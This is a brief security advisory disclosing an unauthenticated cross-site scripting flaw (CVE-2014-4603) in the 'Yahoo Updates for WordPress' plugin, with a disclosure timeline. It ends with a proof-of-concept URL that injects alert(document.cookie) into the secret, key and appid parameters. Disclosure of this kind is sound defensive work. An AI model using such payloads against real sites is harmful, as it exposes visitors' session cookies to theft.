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Wp Plugin Yahoo Updates for Wordpress

Plugin Details

Plugin Name: wp-plugin : yahoo-updates-for-wordpress

Effected Version : 1 (and most probably lower version's if any)

Vulnerability : Cross-Site Scripting (XSS)

Minimum Level of Access Required : Unauthenticated

CVE Number : CVE-2014-4603

Identified by : Anantshri

WPScan Reference URL

Disclosure Timeline

January 17, 2014: Vendor Contacted
May 28, 2014 : Public Disclosure

Technical Details

<a href=“http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&”>http://localhost/wp-content/plugins/yahoo-updates-for-wordpress/yupdates_application.php?secret=alert(document.cookie)&key=keyalert(document.cookie)&appid=alert(document.cookie)&

Here the parameter ‘secret, key, appid’ is susceptible.